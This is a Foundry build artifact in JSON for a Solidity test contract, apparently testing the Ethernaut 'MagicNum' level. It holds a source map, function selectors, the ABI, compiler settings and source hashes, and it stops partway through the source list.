8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19358:184::-;19428:6;19481:2;19469:9;19460:7;19456:23;19452:32;19449:52;;;19497:1;19494;19487:12;19449:52;-1:-1:-1;19520:16:155;;19358:184;-1:-1:-1;19358:184:155:o;19547:125::-;19612:9;;;19633:10;;;19630:36;;;19646:18;;:::i;19859:383::-;20056:2;20045:9;20038:21;20019:4;20082:45;20123:2;20112:9;20108:18;20100:6;20082:45;:::i;:::-;20175:9;20167:6;20163:22;20158:2;20147:9;20143:18;20136:50;20203:33;20229:6;20221;20203:33;:::i;:::-;20195:41;19859:383;-1:-1:-1;;;;;19859:383:155:o;20247:335::-;20326:6;20379:2;20367:9;20358:7;20354:23;20350:32;20347:52;;;20395:1;20392;20385:12;20347:52;20428:9;20422:16;20461:18;20453:6;20450:30;20447:50;;;20493:1;20490;20483:12;20447:50;20516:60;20568:7;20559:6;20548:9;20544:22;20516:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/MagicNum.t.sol\":\"TestMagicNum\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d